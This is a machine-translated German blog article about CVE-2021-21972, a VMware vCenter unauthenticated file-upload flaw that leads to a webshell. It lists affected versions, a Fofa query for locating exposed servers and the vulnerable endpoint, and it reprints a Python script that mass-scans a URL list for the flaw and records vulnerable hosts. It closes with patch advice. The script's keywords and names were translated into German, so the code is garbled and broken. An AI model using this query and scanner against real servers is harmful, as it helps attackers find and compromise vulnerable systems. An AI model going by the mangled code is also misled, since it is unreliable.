Über die VMware vCenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972)

Über die VMware vCenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972)

Hintergrund

CVE-2021-21972 Eine nicht authentifizierte Befehlsausführungsschwachstelle in VMware vCenter. Diese Sicherheitslücke kann eine Webshell an einen beliebigen Ort auf dem vCenter-Server hochladen und dann die Webshell ausführen.

Betroffene Versionen

vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5

Fofa-Abfrage zur Reproduktion von Sicherheitslücken

Syntax: title="+ ID_VC_Welcome +"

Bildbeschreibung hier einfügen

POC

https://xxxx/ui/vropspluginui/rest/services/uploadova

Bildbeschreibung hier einfügen

Verwenden Sie das Skript https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC zur Batch-Verifizierung

#-*- Kodierung:utf-8 -*-
Banner = """
    888888ba dP           
    88 `8b 88           
    a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 
    88 `8b. 88' `88 88 Y8ooooo. 88 88 
    88 .88 88. .88 88 88 88. .88 
    88888888P `88888P8 dP `88888P' `88888P' 
  oooooooooooooooooooooooooooooooooooooooooooooooooooo 
        @time:2021/02/24 CVE-2021-21972.py
        C0de von NebulabdSec - @batsu         
 """
drucken(Banner)

Threadpool importieren
zufällig importieren
Importanforderungen
Argparse importieren
http.client importieren
urllib3 importieren

urllib3.disable_warnings(urllib3.exceptions.UnsichereAnforderungswarnung)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = "HTTP/1.0"

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
  erste_Anzahl = zufällig.randint(55, 62)
  dritte_Zahl = zufällig.randint(0, 3200)
  vierte_Zahl = zufällig.randint(0, 140)
  os_type = [
    '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
    „(Macintosh; Intel Mac OS X 10_12_6)“
  ]
  chrome_version = 'Chrome/{}.0.{}.{}'.format(erste_Nummer, dritte_Nummer, vierte_Nummer)

  ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
          '(KHTML, wie Gecko)', Chrome-Version, 'Safari/537.36']
         )
  Rückkehr ua

def CVE_2021_21972(URL):
  Proxys = {"scoks5": "http://127.0.0.1:1081"}
  Überschriften = {
    'Benutzer-Agent': get_ua(),
    "Inhaltstyp": "Anwendung/x-www-form-urlencoded"
  }
  Ziel-URL = URL + ZIEL-URI
  versuchen:
    res = Anfragen.get(Ziel-URL,
              Header=Header,
              Zeitüberschreitung = 15,
              überprüfen=Falsch,
              Proxys=Proxys)
              # Proxys={'socks5': 'http://127.0.0.1:1081'})
    # drucken(Länge(res.text))
    wenn res.status_code == 405:
      drucken("[+] URL:{}--------CVE-2021-21972 Sicherheitslücke besteht".format(url))
      # print("[+] Befehl erfolgreiches Ergebnis: " + res.text + "\n")
      mit open("vulnerability address.txt", 'a') als fw:
        fw.write(url + '\n')
    anders:
      print("[-] " + url + " Es wurde keine Sicherheitslücke CVE-2021-21972 gefunden.\n")
  # außer Ausnahme als e:
  # drucken(e)
  außer:
    drucken("[-] " + url + " Anfrage FEHLER.\n")
def Multithreading (Dateiname, Pools = 5):
  funktioniert = []
  mit open(Dateiname, "r") als f:
    für i in f:
      func_params = [i.rstrip("\n")]
      # func_params = [i] + [cmd]
      funktioniert.anhängen((func_params, Keine))
  Pool = Threadpool.ThreadPool(Pools)
  Anforderungen = threadpool.makeRequests(CVE_2021_21972, funktioniert)
  [pool.putRequest(req) für req in reqs]
  pool.warten()

def main():
  Parser = argparse.ArgumentParser()
  parser.add_argument("-u",
            "--url",
            help="Ziel-URL; Beispiel:http://ip:port")
  parser.add_argument("-f",
            "--Datei",
            help="URL-Datei; Beispiel:url.txt")
  # parser.add_argument("-c", "--cmd", help="Auszuführende Befehle; ")
  args = parser.parse_args()
  url = args.url
  # cmd = args.cmd
  Dateipfad = args.file
  wenn URL != Keine und Dateipfad == Keine:
    CVE_2021_21972 (URL)
  elif url == Keine und Dateipfad != Keine:
    multithreading(Dateipfad, 10) # Standardmäßig 15 Threads, wenn __name__ == "__main__":
  hauptsächlich() 

Bildbeschreibung hier einfügen

EXP-Reparaturvorschläge

Upgrade von vCenter Server 7.0 auf 7.0.U1c
Upgrade von vCenter Server 6.7 auf 6.7.U3l
Upgrade von vCenter Server 6.5 auf 6.5 U3n

Dies ist das Ende dieses Artikels über die VMware vcenter-Sicherheitslücke beim unbefugten Hochladen beliebiger Dateien (CVE-2021-21972). Weitere verwandte Inhalte zur VMware vcenter-Sicherheitslücke beim Hochladen finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Installationsprozess von VMware vCenter 6.7 (grafisches Tutorial)
  • Detaillierte Erläuterung des VMware-Zugriffs auf OpenStack - Verwenden von OpenStack zum Erstellen einer virtuellen vCenter-Maschine

<<:  Einführung in Abfragebefehle für gespeicherte MySQL-Prozeduren

>>:  Vue macht Div-Höhe verschiebbar

Artikel empfehlen

Tutorial zu den Grundlagen von JavaScript und JQuery Framework

Inhaltsverzeichnis 1. JS-Objekt DOM –1, Funktion ...

Eine kurze Analyse von Patroni in Docker-Containern

Inhaltsverzeichnis Erstellen eines Images Dateist...

Fügen Sie Linux eine Startmethode hinzu (Dienst/Skript)

Konfigurationsdatei, die beim Systemstart geladen...

Linux-Systemaufrufe für Betriebsdateien

Inhaltsverzeichnis 1. Öffnen Sie die Datei Parame...

7 Möglichkeiten, Elemente mit CSS vertikal zu zentrieren

【1】Kennen Sie die Breite und Höhe des zentrierten...

Nginx+FastDFS zum Erstellen eines Image-Servers

Installationsumgebung Centos Umgebungsabhängigkei...

Probleme und Lösungen bei der Verwendung der jsx-Syntax in React-vscode

Problembeschreibung Nach der Installation des Plu...

Grafisches Tutorial zur Installation von mysql5.7.17.msi

mysql-5.7.17.msi Installation, folgen Sie den Scr...

Verwendung und Verschönerung von HTML-Blockquote-Tags

Definition und Verwendung von Blockquote Das Tag ...

Praktische Methode zum Löschen einer Zeile in einer MySql-Tabelle

Zunächst müssen Sie bestimmen, welche Felder oder...

Kapitel zur Entwicklung von WeChat-Applets: Fallstricke

Vor kurzem habe ich an der Entwicklung des ersten...

Drei Beispiele für Unschärfe-Hintergrundeffekte mit CSS3

Beginnen wir nicht mit der Einleitung, sondern ko...